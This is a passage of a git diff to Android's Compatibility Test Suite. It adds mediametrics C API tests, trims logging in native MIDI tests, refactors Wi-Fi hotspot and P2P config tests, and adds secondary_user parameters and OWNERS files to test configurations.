+ virtual void SetUp() {
+ handle_ = mediametrics_create("foo");
+ }
+
+ virtual void TearDown() {
+ mediametrics_delete(handle_);
+ }
+
+ mediametrics_handle_t handle_;
+};
+
+//-------------------------------------------------------------------------------------------------
+TEST_F(MediaMetricsTest, testCreateDelete) {
+ // Will be done with SetUp and TearDown.
+}
+
+TEST_F(MediaMetricsTest, testInt32) {
+ mediametrics_setInt32(handle_, "attr1", 100);
+ int32_t value;
+ EXPECT_TRUE(mediametrics_getInt32(handle_, "attr1", &value));
+ EXPECT_EQ(100, value);
+
+ mediametrics_addInt32(handle_, "attr1", 50);
+ EXPECT_TRUE(mediametrics_getInt32(handle_, "attr1", &value));
+ EXPECT_EQ(150, value);
+}
+
+TEST_F(MediaMetricsTest, testInt64) {
+ mediametrics_setInt64(handle_, "attr2", 1e10);
+ int64_t value;
+ EXPECT_TRUE(mediametrics_getInt64(handle_, "attr2", &value));
+ EXPECT_EQ(1e10, value);
+
+ mediametrics_addInt64(handle_, "attr2", 50);
+ EXPECT_TRUE(mediametrics_getInt64(handle_, "attr2", &value));
+ EXPECT_EQ(1e10 + 50, value);
+}
+
+TEST_F(MediaMetricsTest, testDouble) {
+ mediametrics_setDouble(handle_, "attr3", 100.0);
+ double value;
+ EXPECT_TRUE(mediametrics_getDouble(handle_, "attr3", &value));
+ EXPECT_DOUBLE_EQ(100.0, value);
+
+ mediametrics_addDouble(handle_, "attr3", 50.0);
+ EXPECT_TRUE(mediametrics_getDouble(handle_, "attr3", &value));
+ EXPECT_DOUBLE_EQ(150.0, value);
+}
+
+TEST_F(MediaMetricsTest, testRate) {
+ mediametrics_setRate(handle_, "attr4", 30, 1000);
+ int64_t count;
+ int64_t duration;
+ double rate;
+ EXPECT_TRUE(mediametrics_getRate(handle_, "attr4", &count, &duration, &rate));
+ EXPECT_EQ(30, count);
+ EXPECT_EQ(1000, duration);
+ EXPECT_DOUBLE_EQ(30/1000.0, rate);
+
+ mediametrics_addRate(handle_, "attr4", 29, 1000);
+ EXPECT_TRUE(mediametrics_getRate(handle_, "attr4", &count, &duration, &rate));
+ EXPECT_EQ(59, count);
+ EXPECT_EQ(2000, duration);
+ EXPECT_DOUBLE_EQ(59/2000.0, rate);
+}
+
+TEST_F(MediaMetricsTest, testCString) {
+ mediametrics_setCString(handle_, "attr5", "test_string");
+ char *value = nullptr;
+ EXPECT_TRUE(mediametrics_getCString(handle_, "attr5", &value));
+ EXPECT_STREQ("test_string", value);
+ mediametrics_freeCString(value);
+}
+
+TEST_F(MediaMetricsTest, testCount) {
+ mediametrics_setInt32(handle_, "attr1", 100);
+ EXPECT_EQ(1, mediametrics_count(handle_));
+ mediametrics_setInt32(handle_, "attr2", 200);
+ mediametrics_setInt32(handle_, "attr3", 300);
+ EXPECT_EQ(3, mediametrics_count(handle_));
+}
+
+TEST_F(MediaMetricsTest, testReadable) {
+ mediametrics_setInt32(handle_, "attr1", 1);
+ mediametrics_setInt64(handle_, "attr2", 2);
+ mediametrics_setDouble(handle_, "attr3", 3.0);
+ mediametrics_setRate(handle_, "attr4", 4, 5);
+ mediametrics_setCString(handle_, "attr5", "test_string");
+
+ EXPECT_TRUE(strlen(mediametrics_readable(handle_)) > 0);
+}
+
+TEST_F(MediaMetricsTest, testSelfRecord) {
+ mediametrics_setInt32(handle_, "attr1", 100);
+ mediametrics_setInt64(handle_, "attr2", 1e10);
+ mediametrics_setDouble(handle_, "attr3", 100.0);
+ mediametrics_setRate(handle_, "attr4", 30, 1000);
+ mediametrics_setCString(handle_, "attr5", "test_string");
+ mediametrics_setUid(handle_, 10000);
+
+ EXPECT_TRUE(mediametrics_selfRecord(handle_));
+}
+
+TEST_F(MediaMetricsTest, testIsEnabled) {
+ EXPECT_TRUE(mediametrics_isEnabled());
+}
+
+int main(int argc, char **argv) {
+ testing::InitGoogleTest(&argc, argv);
+
+ return RUN_ALL_TESTS();
+}
+
diff --git a/tests/tests/nativemedia/sl/AndroidTest.xml b/tests/tests/nativemedia/sl/AndroidTest.xml
index 83a1000..51968de 100644
--- a/tests/tests/nativemedia/sl/AndroidTest.xml
+++ b/tests/tests/nativemedia/sl/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="media" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
diff --git a/tests/tests/nativemedia/sl/OWNERS b/tests/tests/nativemedia/sl/OWNERS
new file mode 100644
index 0000000..38b4a35
--- /dev/null
+++ b/tests/tests/nativemedia/sl/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+jmtrivi@google.com
diff --git a/tests/tests/nativemedia/xa/AndroidTest.xml b/tests/tests/nativemedia/xa/AndroidTest.xml
index f6bc1ec..b3f067e 100644
--- a/tests/tests/nativemedia/xa/AndroidTest.xml
+++ b/tests/tests/nativemedia/xa/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="media" />
<option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="cleanup" value="true" />
diff --git a/tests/tests/nativemedia/xa/OWNERS b/tests/tests/nativemedia/xa/OWNERS
new file mode 100644
index 0000000..90b75e4
--- /dev/null
+++ b/tests/tests/nativemedia/xa/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 1344
+include ../sl/OWNERS
diff --git a/tests/tests/nativemidi/OWNERS b/tests/tests/nativemidi/OWNERS
new file mode 100644
index 0000000..ce5adf1
--- /dev/null
+++ b/tests/tests/nativemidi/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 48436
+pmclean@google.com
\ No newline at end of file
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index 9a6a7de..32e46ac 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -76,6 +76,16 @@
return pm.hasSystemFeature(PackageManager.FEATURE_MIDI);
}
+ public static boolean hasLibAMidi() {
+ try {
+ System.loadLibrary("amidi");
+ } catch (UnsatisfiedLinkError ex) {
+ Log.e(TAG, "libamidi.so not found.");
+ return false;
+ }
+ return true;
+ }
+
private byte[] generateRandomMessage(int len) {
byte[] buffer = new byte[len];
for(int index = 0; index < len; index++) {
@@ -131,7 +141,6 @@
}
protected void setUpEchoServer() throws Exception {
- Log.i(TAG, "++ setUpEchoServer()");
MidiDeviceInfo echoInfo = MidiEchoTestService.findEchoDevice(mContext);
// Open device.
@@ -161,7 +170,6 @@
}
protected void tearDownEchoServer() throws IOException {
- Log.i(TAG, "++ tearDownEchoServer()");
// Query echo service directly to see if it is getting status updates.
MidiEchoTestService echoService = MidiEchoTestService.getInstance();
@@ -209,11 +217,11 @@
//
@Before
public void setUp() throws Exception {
- Log.i(TAG, "++ setUp() mContext:" + mContext);
if (!hasMidiSupport()) {
Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
return; // Not supported so don't test it.
}
+
mMidiManager = (MidiManager)mContext.getSystemService(Context.MIDI_SERVICE);
Assert.assertNotNull("Could not get the MidiManger.", mMidiManager);
@@ -222,16 +230,17 @@
@After
public void tearDown() throws Exception {
+ if (!hasMidiSupport()) {
+ Assert.assertTrue("FEATURE_MIDI Not Supported.", false);
+ return; // Not supported so don't test it.
+ }
tearDownEchoServer();
- Log.i(TAG, "++ tearDown()");
mMidiManager = null;
}
@Test
public void test_A_MidiManager() throws Exception {
- Log.i(TAG, "++++ test_A_MidiManager() this:" + System.identityHashCode(this));
-
if (!hasMidiSupport()) {
return; // Nothing to test
}
@@ -242,13 +251,19 @@
MidiDeviceInfo[] infos = mMidiManager.getDevices();
Assert.assertNotNull("device list was null", infos);
Assert.assertTrue("device list was empty", infos.length >= 1);
+ }
- Log.i(TAG, "++++ test_A_MidiManager() - DONE");
+
+ @Test
+ public void test_AA_LibAMidiExists() throws Exception {
+ Assert.assertTrue("libamidi.so not found.", hasLibAMidi());
}
@Test
public void test_B_SendData() throws Exception {
- Log.i(TAG, "++++ test_B_SendData() this:" + System.identityHashCode(this));
+ if (!hasMidiSupport()) {
+ return; // Nothing to test
+ }
Assert.assertEquals("Didn't start with 0 sends", 0, getNumSends(mTestContext));
Assert.assertEquals("Didn't start with 0 bytes sent", 0, getNumBytesSent(mTestContext));
@@ -262,13 +277,10 @@
Assert.assertTrue("Didn't get 1 send", getNumBytesSent(mTestContext) == buffer.length);
Assert.assertEquals("Didn't get right number of bytes sent",
buffer.length, getNumBytesSent(mTestContext));
-
- Log.i(TAG, "++++ test_B_SendData() - DONE");
}
@Test
public void test_C_EchoSmallMessage() throws Exception {
- Log.i(TAG, "++++ test_C_EchoSmallMessage() this:" + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -291,13 +303,10 @@
NativeMidiMessage message = getReceivedMessageAt(mTestContext, 0);
compareMessages(buffer, timestamp, message);
-
- Log.i(TAG, "++++ test_C_EchoSmallMessage() - DONE");
}
@Test
public void test_D_EchoNMessages() throws Exception {
- Log.i(TAG, "++++ test_D_EchoNMessages() this:" + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -325,13 +334,10 @@
NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
}
-
- Log.i(TAG, "++++ test_D_EchoNMessages() - DONE");
}
@Test
public void test_E_FlushMessages() throws Exception {
- Log.i(TAG, "++++ test_E_FlushMessages() this:" + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -362,13 +368,10 @@
NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
}
-
- Log.i(TAG, "++++ test_E_FlushMessages() - DONE");
}
@Test
public void test_F_HugeMessage() throws Exception {
- Log.i(TAG, "++++ test_F_HugeMessage() this:" + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -383,8 +386,6 @@
buffer = generateRandomMessage(kindaHugeMessageLen);
result = writeMidi(mTestContext, buffer, 0, buffer.length);
Assert.assertEquals("Kinda big write failed.", kindaHugeMessageLen, result);
-
- Log.i(TAG, "++++ test_F_HugeMessage() - DONE");
}
/**
@@ -393,7 +394,6 @@
*/
@Test
public void test_G_NativeEchoTime() throws Exception {
- Log.i(TAG, "++++ test_G_NativeEchoTime() this:" + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -426,13 +426,10 @@
"timestamp:" + message.timestamp + " received:" + message.timeReceived,
(elapsedNanos < maxLatencyNanos));
}
-
- Log.i(TAG, "++++ test_G_NativeEchoTime() - DONE");
}
@Test
public void test_H_EchoNMessages_PureNative() throws Exception {
- Log.i(TAG, "++++ test_H_EchoNMessages_PureNative() this:" + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -453,8 +450,6 @@
int result = matchNativeMessages(mTestContext);
Assert.assertEquals("Native Compare Test Failed", result, 0);
-
- Log.i(TAG, "++++ test_H_EchoNMessages_PureNative() - DONE");
}
/**
@@ -463,8 +458,6 @@
*/
@Test
public void test_I_NativeEchoTime_PureNative() throws Exception {
- Log.i(TAG, "++++ test_I_NativeEchoTime_PureNative() this:"
- + System.identityHashCode(this));
if (!hasMidiSupport()) {
return; // nothing to test
}
@@ -487,8 +480,6 @@
int result = checkNativeLatency(mTestContext, maxLatencyNanos);
Assert.assertEquals("failed pure native latency test.", 0, result);
-
- Log.i(TAG, "++++ test_I_NativeEchoTime_PureNative() - DONE");
}
// Native Routines
diff --git a/tests/tests/ndef/AndroidTest.xml b/tests/tests/ndef/AndroidTest.xml
index c4b0585..1156bec 100644
--- a/tests/tests/ndef/AndroidTest.xml
+++ b/tests/tests/ndef/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="systems" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsNdefTestCases.apk" />
diff --git a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
index 1901f02..5eb3e36 100644
--- a/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
+++ b/tests/tests/net/src/android/net/wifi/aware/cts/SingleDeviceTest.java
@@ -16,6 +16,8 @@
package android.net.wifi.aware.cts;
+import static org.junit.Assert.assertNotEquals;
+
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -39,7 +41,6 @@
import android.net.wifi.aware.WifiAwareSession;
import android.os.Handler;
import android.os.HandlerThread;
-import android.os.SystemClock;
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
@@ -421,6 +422,7 @@
assertEquals("Service Specific Information Length",
characteristics.getMaxServiceSpecificInfoLength(), 255);
assertEquals("Match Filter Length", characteristics.getMaxMatchFilterLength(), 255);
+ assertNotEquals("Cipher suites", characteristics.getSupportedCipherSuites(), 0);
}
/**
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
index 9d9b2a3..d943231 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiInfoTest.java
@@ -25,7 +25,6 @@
import android.net.wifi.WifiInfo;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.WifiLock;
-import android.net.wifi.WifiSsid;
import android.platform.test.annotations.AppModeFull;
import android.test.AndroidTestCase;
@@ -132,7 +131,7 @@
SupplicantState.isValidState(wifiInfo.getSupplicantState());
WifiInfo.getDetailedStateOf(SupplicantState.DISCONNECTED);
String ssid = wifiInfo.getSSID();
- if (!ssid.startsWith("0x") && !ssid.equals(WifiSsid.NONE)) {
+ if (!ssid.startsWith("0x") && !ssid.equals(WifiManager.UNKNOWN_SSID)) {
// Non-hex string should be quoted
assertTrue(ssid.charAt(0) == '"');
assertTrue(ssid.charAt(ssid.length() - 1) == '"');
diff --git a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
index 3e47764..3ed157a 100644
--- a/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/net/src/android/net/wifi/cts/WifiManagerTest.java
@@ -17,6 +17,7 @@
package android.net.wifi.cts;
+import android.app.UiAutomation;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
@@ -25,8 +26,10 @@
import android.content.pm.PackageManager;
import android.content.pm.ResolveInfo;
import android.net.ConnectivityManager;
+import android.net.MacAddress;
import android.net.NetworkInfo;
import android.net.wifi.ScanResult;
+import android.net.wifi.SoftApConfiguration;
import android.net.wifi.WifiConfiguration;
import android.net.wifi.WifiManager;
import android.net.wifi.WifiManager.TxPacketCountListener;
@@ -45,7 +48,7 @@
import android.util.ArraySet;
import android.util.Log;
-import androidx.test.InstrumentationRegistry;
+import androidx.test.platform.app.InstrumentationRegistry;
import com.android.compatibility.common.util.SystemUtil;
@@ -53,8 +56,11 @@
import java.net.URL;
import java.security.MessageDigest;
import java.security.cert.X509Certificate;
+import java.util.LinkedList;
import java.util.List;
import java.util.Objects;
+import java.util.concurrent.ConcurrentLinkedQueue;
+import java.util.concurrent.Executor;
import java.util.concurrent.TimeUnit;
import java.util.concurrent.atomic.AtomicInteger;
import java.util.stream.Collectors;
@@ -104,6 +110,10 @@
private static final String MANAGED_PROVISIONING_PACKAGE_NAME
= "com.android.managedprovisioning";
+ private static final String TEST_SSID_UNQUOTED = "testSsid1";
+ private static final MacAddress TEST_MAC = MacAddress.fromString("aa:bb:cc:dd:ee:ff");
+ private static final String TEST_PASSPHRASE = "passphrase";
+
private IntentFilter mIntentFilter;
private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@Override
@@ -514,7 +524,7 @@
assertTrue(i < 15);
}
- public class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
+ private static class TestLocalOnlyHotspotCallback extends WifiManager.LocalOnlyHotspotCallback {
Object hotspotLock;
WifiManager.LocalOnlyHotspotReservation reservation = null;
boolean onStartedCalled = false;
@@ -600,7 +610,7 @@
*
* Note: Location mode must be enabled for this test.
*/
- public void testStartLocalOnlyHotspotSuccess() {
+ public void testStartLocalOnlyHotspotSuccess() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
return;
@@ -616,12 +626,8 @@
// add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
// TODO: remove this sleep as soon as b/124330089 is fixed.
- try {
- Log.d(TAG, "Sleep for 2 seconds");
- Thread.sleep(2000);
- } catch (InterruptedException e) {
- Log.d(TAG, "Thread InterruptedException!");
- }
+ Log.d(TAG, "Sleeping for 2 seconds");
+ Thread.sleep(2000);
stopLocalOnlyHotspot(callback, wifiEnabled);
@@ -668,7 +674,7 @@
*
* Note: Location mode must be enabled for this test.
*/
- public void testStartLocalOnlyHotspotSingleRequestByApps() {
+ public void testStartLocalOnlyHotspotSingleRequestByApps() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
return;
@@ -694,22 +700,77 @@
}
if (!caughtException) {
// second start did not fail, should clean up the hotspot.
+
+ // add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
+ // TODO: remove this sleep as soon as b/124330089 is fixed.
+ Log.d(TAG, "Sleeping for 2 seconds");
+ Thread.sleep(2000);
+
stopLocalOnlyHotspot(callback2, wifiEnabled);
}
assertTrue(caughtException);
// add sleep to avoid calling stopLocalOnlyHotspot before TetherController initialization.
// TODO: remove this sleep as soon as b/124330089 is fixed.
- try {
- Log.d(TAG, "Sleep for 2 seconds");
- Thread.sleep(2000);
- } catch (InterruptedException e) {
- Log.d(TAG, "Thread InterruptedException!");
- }
+ Log.d(TAG, "Sleeping for 2 seconds");
+ Thread.sleep(2000);
stopLocalOnlyHotspot(callback, wifiEnabled);
}
+ private static class TestExecutor implements Executor {
+ private ConcurrentLinkedQueue<Runnable> tasks = new ConcurrentLinkedQueue<>();
+
+ @Override
+ public void execute(Runnable task) {
+ tasks.add(task);
+ }
+
+ private void runAll() {
+ Runnable task = tasks.poll();
+ while (task != null) {
+ task.run();
+ task = tasks.poll();
+ }
+ }
+ }
+
+ public void testStartLocalOnlyHotspotWithConfig() throws Exception {
+ SoftApConfiguration customConfig = new SoftApConfiguration.Builder()
+ .setBssid(TEST_MAC)
+ .setSsid(TEST_SSID_UNQUOTED)
+ .setWpa2Passphrase(TEST_PASSPHRASE)
+ .build();
+ TestExecutor executor = new TestExecutor();
+ TestLocalOnlyHotspotCallback callback = new TestLocalOnlyHotspotCallback(mLOHSLock);
+ UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+ try {
+ uiAutomation.adoptShellPermissionIdentity();
+
+ boolean wifiEnabled = mWifiManager.isWifiEnabled();
+ mWifiManager.startLocalOnlyHotspot(customConfig, executor, callback);
+ Log.d(TAG, "Sleeping for 2 seconds");
+ Thread.sleep(2000);
+
+ // Verify callback is run on the supplied executor
+ assertFalse(callback.onStartedCalled);
+ executor.runAll();
+ assertTrue(callback.onStartedCalled);
+
+ assertNotNull(callback.reservation);
+ WifiConfiguration wifiConfig = callback.reservation.getWifiConfiguration();
+ assertNotNull(wifiConfig);
+ assertEquals(TEST_MAC, MacAddress.fromString(wifiConfig.BSSID));
+ assertEquals(TEST_SSID_UNQUOTED, wifiConfig.SSID);
+ assertEquals(TEST_PASSPHRASE, wifiConfig.preSharedKey);
+
+ // clean up
+ stopLocalOnlyHotspot(callback, wifiEnabled);
+ } finally {
+ uiAutomation.dropShellPermissionIdentity();
+ }
+ }
+
/**
* Verify that the {@link android.Manifest.permission#NETWORK_STACK} permission is never held by
* any package.
diff --git a/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java b/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java
index 639db8a..e93d573 100644
--- a/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java
+++ b/tests/tests/net/src/android/net/wifi/p2p/cts/WifiP2pConfigTest.java
@@ -22,41 +22,41 @@
import android.test.AndroidTestCase;
public class WifiP2pConfigTest extends AndroidTestCase {
- static final String TEST_NETWORK_NAME = "DIRECT-xy-Hello";
- static final String TEST_PASSPHRASE = "8etterW0r1d";
- static final int TEST_OWNER_BAND = WifiP2pConfig.GROUP_OWNER_BAND_5GHZ;
- static final int TEST_OWNER_FREQ = 2447;
- static final String TEST_DEVICE_ADDRESS = "aa:bb:cc:dd:ee:ff";
+ private static final String TEST_NETWORK_NAME = "DIRECT-xy-Hello";
+ private static final String TEST_PASSPHRASE = "8etterW0r1d";
+ private static final int TEST_OWNER_BAND = WifiP2pConfig.GROUP_OWNER_BAND_5GHZ;
+ private static final int TEST_OWNER_FREQ = 2447;
+ private static final String TEST_DEVICE_ADDRESS = "aa:bb:cc:dd:ee:ff";
public void testWifiP2pConfigBuilderForPersist() {
- WifiP2pConfig.Builder builder = new WifiP2pConfig.Builder();
- builder.setNetworkName(TEST_NETWORK_NAME)
+ WifiP2pConfig config = new WifiP2pConfig.Builder()
+ .setNetworkName(TEST_NETWORK_NAME)
.setPassphrase(TEST_PASSPHRASE)
.setGroupOperatingBand(TEST_OWNER_BAND)
.setDeviceAddress(MacAddress.fromString(TEST_DEVICE_ADDRESS))
- .enablePersistentMode(true);
- WifiP2pConfig config = builder.build();
+ .enablePersistentMode(true)
+ .build();
- assertTrue(config.deviceAddress.equals(TEST_DEVICE_ADDRESS));
- assertTrue(config.networkName.equals(TEST_NETWORK_NAME));
- assertTrue(config.passphrase.equals(TEST_PASSPHRASE));
- assertEquals(config.groupOwnerBand, TEST_OWNER_BAND);
- assertEquals(config.netId, WifiP2pGroup.PERSISTENT_NET_ID);
+ assertEquals(config.deviceAddress, TEST_DEVICE_ADDRESS);
+ assertEquals(config.getNetworkName(), TEST_NETWORK_NAME);
+ assertEquals(config.getPassphrase(), TEST_PASSPHRASE);
+ assertEquals(config.getGroupOwnerBand(), TEST_OWNER_BAND);
+ assertEquals(config.getNetworkId(), WifiP2pGroup.PERSISTENT_NET_ID);
}
public void testWifiP2pConfigBuilderForNonPersist() {
- WifiP2pConfig.Builder builder = new WifiP2pConfig.Builder();
- builder.setNetworkName(TEST_NETWORK_NAME)
+ WifiP2pConfig config = new WifiP2pConfig.Builder()
+ .setNetworkName(TEST_NETWORK_NAME)
.setPassphrase(TEST_PASSPHRASE)
.setGroupOperatingFrequency(TEST_OWNER_FREQ)
.setDeviceAddress(MacAddress.fromString(TEST_DEVICE_ADDRESS))
- .enablePersistentMode(false);
- WifiP2pConfig config = builder.build();
+ .enablePersistentMode(false)
+ .build();
- assertTrue(config.deviceAddress.equals(TEST_DEVICE_ADDRESS));
- assertTrue(config.networkName.equals(TEST_NETWORK_NAME));
- assertTrue(config.passphrase.equals(TEST_PASSPHRASE));
- assertEquals(config.groupOwnerBand, TEST_OWNER_FREQ);
- assertEquals(config.netId, WifiP2pGroup.TEMPORARY_NET_ID);
+ assertEquals(config.deviceAddress, TEST_DEVICE_ADDRESS);
+ assertEquals(config.getNetworkName(), TEST_NETWORK_NAME);
+ assertEquals(config.getPassphrase(), TEST_PASSPHRASE);
+ assertEquals(config.getGroupOwnerBand(), TEST_OWNER_FREQ);
+ assertEquals(config.getNetworkId(), WifiP2pGroup.TEMPORARY_NET_ID);
}
}
diff --git a/tests/tests/netsecpolicy/OWNERS b/tests/tests/netsecpolicy/OWNERS
new file mode 100644
index 0000000..fdd42d8
--- /dev/null
+++ b/tests/tests/netsecpolicy/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 36824
+include ../networksecurityconfig/OWNERS
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
index d08a4b6..59f04a5 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
index 6dcf00f..89e0143 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
index 15cdee5..c3dbcb8 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/AndroidTest.xml
@@ -17,6 +17,7 @@
<option name="test-suite-tag" value="cts" />
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
index e9e562f..3408d55 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
index aa74600..bebda23 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/AndroidTest.xml
@@ -18,6 +18,7 @@
<option name="config-descriptor:metadata" key="component" value="security" />
<option name="not-shardable" value="true" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/OWNERS b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/OWNERS
deleted file mode 100644
index 7705bfe..0000000
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/OWNERS
+++ /dev/null
@@ -1 +0,0 @@
-# Inherits OWNERS from parent directory.
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
index b615f60..030e2c9 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/AndroidTest.xml
